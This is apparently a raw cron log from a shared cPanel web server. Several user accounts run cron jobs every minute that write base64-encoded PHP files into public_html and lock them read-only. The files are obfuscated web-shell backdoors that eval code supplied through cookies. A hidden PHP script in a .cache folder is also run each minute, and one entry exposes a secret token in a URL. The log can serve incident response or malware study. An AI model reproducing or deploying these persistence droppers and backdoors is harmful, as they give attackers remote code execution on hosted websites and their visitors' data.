Mar  1 12:36:01 medusa CROND[29478]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:36:01 medusa CROND[29480]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:36:01 medusa CROND[29485]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:37:01 medusa CROND[22197]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Mar  1 12:37:01 medusa CROND[22198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:37:01 medusa CROND[22200]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:37:01 medusa CROND[22201]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:37:01 medusa CROND[22202]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:37:01 medusa CROND[22203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:37:01 medusa CROND[22210]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 12:37:01 medusa CROND[22218]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:37:01 medusa CROND[22217]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 12:37:01 medusa CROND[22220]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:37:01 medusa CROND[22221]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:37:01 medusa CROND[22222]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:37:01 medusa CROND[22223]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:37:01 medusa CROND[22227]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:38:01 medusa CROND[14433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:38:01 medusa CROND[14450]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 12:38:01 medusa CROND[14451]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:38:01 medusa CROND[14453]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:38:01 medusa CROND[14454]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:38:01 medusa CROND[14455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:38:01 medusa CROND[14456]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:38:01 medusa CROND[14460]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:38:01 medusa CROND[14462]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:38:01 medusa CROND[14463]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:38:01 medusa CROND[14461]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:38:01 medusa CROND[14466]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:38:01 medusa CROND[14471]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:39:02 medusa CROND[7375]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 12:39:02 medusa CROND[7376]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:39:02 medusa CROND[7377]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
